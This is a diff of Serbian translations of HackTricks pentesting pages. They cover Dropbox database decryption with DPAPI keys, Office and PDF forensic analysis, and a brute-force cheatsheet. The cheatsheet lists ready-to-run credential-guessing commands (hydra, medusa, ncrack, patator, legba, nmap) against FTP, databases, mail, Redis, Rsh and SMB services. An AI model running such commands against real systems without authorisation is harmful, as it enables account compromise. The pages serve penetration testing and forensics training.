@ -75,7 +75,7 @@ Međutim, glavne informacije su:
|
|||
|
||||
Osim tih informacija, da biste dešifrovali baze podataka, još uvek vam je potrebno:
|
||||
|
||||
* **Šifrovani DPAPI ključ**: Možete ga pronaći u registru unutar `NTUSER.DAT\Software\Dropbox\ks\client` (izvezite ove podatke kao binarne)
|
||||
* **Enkriptovani DPAPI ključ**: Možete ga pronaći u registru unutar `NTUSER.DAT\Software\Dropbox\ks\client` (izvezite ove podatke kao binarne)
|
||||
* **`SYSTEM`** i **`SECURITY`** košnice
|
||||
* **DPAPI master ključevi**: Koji se mogu pronaći u `\Users\<korisničko_ime>\AppData\Roaming\Microsoft\Protect`
|
||||
* **korisničko ime** i **šifra** Windows korisnika
|
||||
|
@ -86,7 +86,7 @@ Zatim možete koristiti alat [**DataProtectionDecryptor**](https://nirsoft.net/u
|
|||
|
||||
Ako sve ide kako se očekuje, alat će pokazati **primarni ključ** koji vam je potreban da biste **koristili za oporavak originalnog**. Da biste oporavili originalni, jednostavno koristite ovaj [cyber\_chef recept](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\)) stavljajući primarni ključ kao "lozinku" unutar recepta.
|
||||
|
||||
Rezultujući heksadecimalni broj je konačni ključ koji se koristi za šifrovanje baza podataka koje se mogu dešifrovati sa:
|
||||
Rezultujući heksadecimalni broj je konačni ključ koji se koristi za enkripciju baza podataka koje se mogu dešifrovati sa:
|
||||
```bash
|
||||
sqlite -k <Obtained Key> config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db
|
||||
```
|
||||
|
@ -113,10 +113,10 @@ Druge tabele unutar ove baze podataka sadrže još interesantnih informacija:
|
|||
- **deleted\_fields**: Obrisani fajlovi sa Dropbox-a
|
||||
- **date\_added**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako kreirate i **automatizujete radne tokove** uz pomoć najnaprednijih alata zajednice.\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako kreirate i **automatizujete radne tokove** uz pomoć najnaprednijih alata zajednice na svetu.\
|
||||
Pristupite danas:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -127,7 +127,7 @@ Pristupite danas:
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
- Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
- Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
- Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
- Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
- **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -6,7 +6,7 @@
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -14,31 +14,31 @@ Drugi načini podrške HackTricks-u:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice.\
|
||||
Pristupite danas:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
Za dodatne informacije pogledajte [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). Ovo je samo sažetak:
|
||||
|
||||
Microsoft je kreirao mnogo formata kancelarijskih dokumenata, sa dva glavna tipa **OLE formata** (kao što su RTF, DOC, XLS, PPT) i **Office Open XML (OOXML) formata** (kao što su DOCX, XLSX, PPTX). Ovi formati mogu uključivati makroe, čineći ih metama za phishing i malware. OOXML fajlovi su strukturirani kao zip kontejneri, što omogućava inspekciju putem dekompresije, otkrivajući strukturu fajlova i foldera i sadržaj XML fajlova.
|
||||
Microsoft je kreirao mnogo formata kancelarijskih dokumenata, sa dva glavna tipa **OLE formata** (kao što su RTF, DOC, XLS, PPT) i **Office Open XML (OOXML) formata** (kao što su DOCX, XLSX, PPTX). Ovi formati mogu uključivati makroe, čineći ih metama za phishing i malware. OOXML fajlovi su strukturirani kao zip kontejneri, što omogućava inspekciju kroz dekompresiju, otkrivajući strukturu fajlova i foldera i sadržaj XML fajlova.
|
||||
|
||||
Za istraživanje struktura OOXML fajlova, dat je komanda za dekompresiju dokumenta i struktura izlaza. Tehnike za skrivanje podataka u ovim fajlovima su dokumentovane, što ukazuje na stalnu inovaciju u skrivanju podataka u okviru CTF izazova.
|
||||
Za istraživanje struktura OOXML fajlova, dat je komanda za dekompresiju dokumenta i struktura izlaza. Tehnike za skrivanje podataka u ovim fajlovima su dokumentovane, što ukazuje na stalnu inovaciju u skrivanju podataka unutar CTF izazova.
|
||||
|
||||
Za analizu, **oletools** i **OfficeDissector** nude sveobuhvatne setove alata za ispitivanje kako OLE tako i OOXML dokumenata. Ovi alati pomažu u identifikaciji i analizi ugrađenih makroa, koji često služe kao vektori za isporuku malvera, obično preuzimajući i izvršavajući dodatne zlonamerne sadržaje. Analiza VBA makroa može se sprovesti bez Microsoft Office-a korišćenjem Libre Office-a, što omogućava debagovanje sa prekidnim tačkama i promenljivim vrednostima.
|
||||
Za analizu, **oletools** i **OfficeDissector** nude sveobuhvatne alate za ispitivanje kako OLE tako i OOXML dokumenata. Ovi alati pomažu u identifikaciji i analizi ugrađenih makroa, koji često služe kao vektori za isporuku malvera, obično preuzimajući i izvršavajući dodatne zlonamerne sadržaje. Analiza VBA makroa može se sprovesti bez Microsoft Office-a korišćenjem Libre Office-a, koji omogućava debagovanje sa prekidima i promenljivim vrednostima.
|
||||
|
||||
Instalacija i korišćenje **oletools**-a su jednostavni, sa komandama za instalaciju putem pip-a i izdvajanje makroa iz dokumenata. Automatsko izvršavanje makroa pokreće se funkcijama poput `AutoOpen`, `AutoExec`, ili `Document_Open`.
|
||||
Instalacija i korišćenje **oletools**-a je jednostavno, sa komandama za instalaciju putem pip-a i izdvajanje makroa iz dokumenata. Automatsko izvršavanje makroa pokreće se funkcijama poput `AutoOpen`, `AutoExec`, ili `Document_Open`.
|
||||
```bash
|
||||
sudo pip3 install -U oletools
|
||||
olevba -c /path/to/document #Extract macros
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\
|
||||
Pristupite danas:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -49,7 +49,7 @@ Pristupite danas:
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -6,7 +6,7 @@
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -14,19 +14,19 @@ Drugi načini podrške HackTricks-u:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice.\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\
|
||||
Pristupite danas:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
**Za dalje detalje pogledajte:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/)
|
||||
|
||||
PDF format je poznat po svojoj složenosti i potencijalu za skrivanje podataka, čineći ga fokusom za CTF forenzičke izazove. Kombinuje elemente običnog teksta sa binarnim objektima, koji mogu biti kompresovani ili enkriptovani, i mogu uključivati skripte u jezicima poput JavaScript-a ili Flash-a. Da biste razumeli strukturu PDF-a, možete se obratiti Didier Stevens-ovom [uvodnom materijalu](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/), ili koristiti alate poput tekst editora ili PDF-specifičnog editora poput Origami-ja.
|
||||
PDF format je poznat po svojoj složenosti i potencijalu za skrivanje podataka, čineći ga fokusom za CTF forenzičke izazove. Kombinuje elemente običnog teksta sa binarnim objektima, koji mogu biti kompresovani ili enkriptovani, i mogu uključivati skripte u jezicima poput JavaScript-a ili Flash-a. Da bi razumeli strukturu PDF-a, možete se referisati na Didier Stevens-ov [uvodni materijal](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/), ili koristiti alate poput tekst editora ili PDF-specifičnog editora poput Origamija.
|
||||
|
||||
Za dubinsko istraživanje ili manipulaciju PDF-ova, dostupni su alati poput [qpdf](https://github.com/qpdf/qpdf) i [Origami](https://github.com/mobmewireless/origami-pdf). Skriveni podaci unutar PDF-ova mogu biti prikriveni u:
|
||||
Za detaljno istraživanje ili manipulaciju PDF-ova, dostupni su alati poput [qpdf](https://github.com/qpdf/qpdf) i [Origami](https://github.com/mobmewireless/origami-pdf). Skriveni podaci unutar PDF-ova mogu biti prikriveni u:
|
||||
|
||||
* Nevidljivim slojevima
|
||||
* XMP formatu metapodataka od strane Adobe-a
|
||||
|
@ -35,7 +35,7 @@ Za dubinsko istraživanje ili manipulaciju PDF-ova, dostupni su alati poput [qpd
|
|||
* Tekstu iza slika ili preklapajućih slika
|
||||
* Komentarima koji se ne prikazuju
|
||||
|
||||
Za prilagođenu analizu PDF-a, Python biblioteke poput [PeepDF](https://github.com/jesparza/peepdf) mogu se koristiti za izradu prilagođenih skriptova za parsiranje. Nadalje, potencijal PDF-a za skriveno skladištenje podataka je toliko velik da resursi poput NSA vodiča o rizicima i merama protiv PDF-a, iako više nisu smešteni na originalnoj lokaciji, i dalje pružaju vredne uvide. [Kopija vodiča](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) i kolekcija [triikova u PDF formatu](https://github.com/corkami/docs/blob/master/PDF/PDF.md) od Ange Albertini-a mogu pružiti dodatno čitanje na ovu temu.
|
||||
Za prilagođenu analizu PDF-a, Python biblioteke poput [PeepDF](https://github.com/jesparza/peepdf) mogu se koristiti za izradu prilagođenih skriptova za parsiranje. Nadalje, potencijal PDF-a za skriveno skladištenje podataka je toliko velik da resursi poput NSA vodiča o rizicima i merama protiv PDF-a, iako više nije smešten na originalnoj lokaciji, i dalje nude vredne uvide. [Kopija vodiča](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) i kolekcija [triikova u PDF formatu](https://github.com/corkami/docs/blob/master/PDF/PDF.md) od strane Ange Albertini mogu pružiti dodatno čitanje na ovu temu.
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -43,7 +43,7 @@ Za prilagođenu analizu PDF-a, Python biblioteke poput [PeepDF](https://github.c
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -1,23 +1,23 @@
|
|||
# Brute Force - Šema prečica
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice.\
|
||||
Pristupite danas:
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\
|
||||
Dobijte pristup danas:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Naučite hakovanje AWS-a od početnika do stručnjaka sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* Otkrijte [**Porodičnu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
@ -37,7 +37,7 @@ Drugi načini podrške HackTricks-u:
|
|||
* [**https://www.cirt.net/passwords**](https://www.cirt.net/passwords)
|
||||
* [**http://www.passwordsdatabase.com/**](http://www.passwordsdatabase.com)
|
||||
* [**https://many-passwords.github.io/**](https://many-passwords.github.io)
|
||||
* [**https://theinfocentric.com/**](https://theinfocentric.com/)
|
||||
* [**https://theinfocentric.com/**](https://theinfocentric.com/)
|
||||
|
||||
## **Napravite svoje rečnike**
|
||||
|
||||
|
@ -60,7 +60,7 @@ cewl example.com -m 5 -w words.txt
|
|||
```
|
||||
### [CUPP](https://github.com/Mebus/cupp)
|
||||
|
||||
Generišite šifre na osnovu vašeg znanja o žrtvi (imena, datumi...)
|
||||
Generišite lozinke na osnovu vašeg znanja o žrtvi (imena, datumi...)
|
||||
```
|
||||
python3 cupp.py -h
|
||||
```
|
||||
|
@ -100,17 +100,17 @@ Finished in 0.920s.
|
|||
* [**https://hashkiller.io/listmanager**](https://hashkiller.io/listmanager)
|
||||
* [**https://github.com/Karanxa/Bug-Bounty-Wordlists**](https://github.com/Karanxa/Bug-Bounty-Wordlists)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\
|
||||
Dobijte pristup danas:
|
||||
Pristupite danas:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Usluge
|
||||
|
||||
Poređane abecednim redom po imenu usluge.
|
||||
Poređane abecedno po imenu usluge.
|
||||
|
||||
### AFP
|
||||
```bash
|
||||
|
@ -122,8 +122,6 @@ msf> set PASS_FILE <PATH_PASSWDS>
|
|||
msf> set USER_FILE <PATH_USERS>
|
||||
msf> run
|
||||
```
|
||||
### AJP
|
||||
|
||||
### AJP
|
||||
```bash
|
||||
nmap --script ajp-brute -p 8009 <IP>
|
||||
|
@ -152,10 +150,6 @@ hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/word
|
|||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get /
|
||||
```
|
||||
### FTP
|
||||
|
||||
---
|
||||
|
||||
Brute-forcing FTP credentials is a common technique used to gain unauthorized access to FTP servers. Attackers use automated tools to try a large number of username and password combinations until they find the correct one. This can be mitigated by enforcing strong password policies, limiting login attempts, and implementing account lockout mechanisms.
|
||||
```bash
|
||||
hydra -l root -P passwords.txt [-t 32] <IP> ftp
|
||||
ncrack -p 21 --user root -P passwords.txt <IP> [-T 5]
|
||||
|
@ -179,8 +173,6 @@ legba http.ntlm1 --domain example.org --workstation client --username admin --pa
|
|||
legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
|
||||
```
|
||||
### HTTP - Post Form
|
||||
|
||||
### HTTP - Pošalji obrazac
|
||||
```bash
|
||||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
|
||||
# Use https-post-form mode for https
|
||||
|
@ -193,8 +185,6 @@ cmsmap -f W/J/D/M -u a -p a https://wordpress.com
|
|||
# Check also https://github.com/evilsocket/legba/wiki/HTTP
|
||||
```
|
||||
### IMAP
|
||||
|
||||
IMAP (Internet Message Access Protocol) is a standard email protocol that stores email messages on a mail server. When a hacker is attempting to gain unauthorized access to an email account, they may use a brute force attack to guess the account password. This involves trying many different password combinations until the correct one is found. IMAP servers may have security measures in place to prevent or limit brute force attacks, such as account lockouts after multiple failed login attempts.
|
||||
```bash
|
||||
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> imap -V
|
||||
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f <IP> imap -V
|
||||
|
@ -203,9 +193,7 @@ legba imap --username user --password data/passwords.txt --target localhost:993
|
|||
```
|
||||
### IRC
|
||||
|
||||
---
|
||||
|
||||
Internet Relay Chat (IRC) je protokol za real-time razmenu poruka na Internetu. Brute force napadi na IRC servere mogu biti izvršeni korišćenjem alata poput Hydra ili Medusa. Ovi alati mogu pokušati različite kombinacije korisničkih imena i lozinki kako bi dobili neovlašćen pristup IRC serveru. Kada se koristi brute force napad na IRC server, važno je voditi računa o zakonitosti i etičnosti takvih aktivnosti.
|
||||
### IRC
|
||||
```bash
|
||||
nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p <PORT> <IP>
|
||||
```
|
||||
|
@ -272,7 +260,7 @@ legba mysql --username root --password wordlists/passwords.txt --target localhos
|
|||
```
|
||||
### OracleSQL
|
||||
|
||||
Brute-force attacks against OracleSQL databases can be carried out using tools like Hydra, Metasploit, or custom scripts. These tools can automate the process of trying different username and password combinations until the correct one is found. It is important to note that brute-force attacks can be time-consuming and resource-intensive, and may trigger security alerts if not done carefully.
|
||||
### OracleSQL
|
||||
```bash
|
||||
patator oracle_login sid=<SID> host=<IP> user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017
|
||||
|
||||
|
@ -296,11 +284,11 @@ nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=<SID> <IP>
|
|||
|
||||
legba oracle --target localhost:1521 --oracle-database SYSTEM --username admin --password data/passwords.txt
|
||||
```
|
||||
Da biste koristili **oracle\_login** sa **patator**-om, potrebno je **instalirati**:
|
||||
Da biste koristili **oracle\_login** sa **patatorom**, potrebno je **instalirati**:
|
||||
```bash
|
||||
pip3 install cx_Oracle --upgrade
|
||||
```
|
||||
[Bruteforceovanje hešova OracleSQL-a van mreže](../network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**verzije 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** i **11.2.0.3**):
|
||||
[Offline OracleSQL hash bruteforce](../network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**verzije 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** i **11.2.0.3**):
|
||||
```bash
|
||||
nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30
|
||||
```
|
||||
|
@ -318,8 +306,6 @@ legba pop3 --username admin@example.com --password wordlists/passwords.txt --tar
|
|||
legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:995 --pop3-ssl
|
||||
```
|
||||
### PostgreSQL
|
||||
|
||||
PostgreSQL je moćan sistem za upravljanje bazama podataka koji se često koristi u aplikacijama. Kada pokušavate da probijete bazu podataka PostgreSQL, jedna od osnovnih tehnika je "brute force" napad. Ovaj napad uključuje automatsko isprobavanje različitih kombinacija korisničkih imena i lozinki sve dok se ne pronađe ispravna kombinacija za pristup bazi podataka. Ovo može biti vremenski zahtevan proces, ali može biti efikasan ako se koriste pravilno podešene alatke i tehnike.
|
||||
```bash
|
||||
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP> postgres
|
||||
medusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres
|
||||
|
@ -349,6 +335,8 @@ nmap --script redis-brute -p 6379 <IP>
|
|||
hydra –P /path/pass.txt redis://<IP>:<PORT> # 6379 is the default
|
||||
legba redis --target localhost:6379 --username admin --password data/passwords.txt [--redis-ssl]
|
||||
```
|
||||
### Rexec
|
||||
|
||||
### Rexec
|
||||
```bash
|
||||
hydra -l <username> -P <password_file> rexec://<Victim-IP> -v -V
|
||||
|
@ -358,6 +346,16 @@ hydra -l <username> -P <password_file> rexec://<Victim-IP> -v -V
|
|||
hydra -l <username> -P <password_file> rlogin://<Victim-IP> -v -V
|
||||
```
|
||||
### Rsh
|
||||
|
||||
---
|
||||
|
||||
Brute force attacks against the Rsh service can be carried out using the `rsh-brute` script in Nmap. This script performs a dictionary attack against Rsh servers to guess usernames and passwords. An example of how to use this script is shown below:
|
||||
|
||||
```bash
|
||||
nmap --script rsh-brute <target>
|
||||
```
|
||||
|
||||
This script can be useful during penetration testing to identify weak credentials on Rsh servers.
|
||||
```bash
|
||||
hydra -L <Username_list> rsh://<Victim_IP> -v -V
|
||||
```
|
||||
|
@ -386,15 +384,13 @@ hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt ta
|
|||
```
|
||||
### SMB
|
||||
|
||||
SMB (Server Message Block) je protokol za deljenje fajlova koji se često koristi u Windows okruženjima. Brute force napadi na SMB servere mogu biti efikasni u otkrivanju slabih lozinki ili probijanju lozinki.
|
||||
### SMB
|
||||
```bash
|
||||
nmap --script smb-brute -p 445 <IP>
|
||||
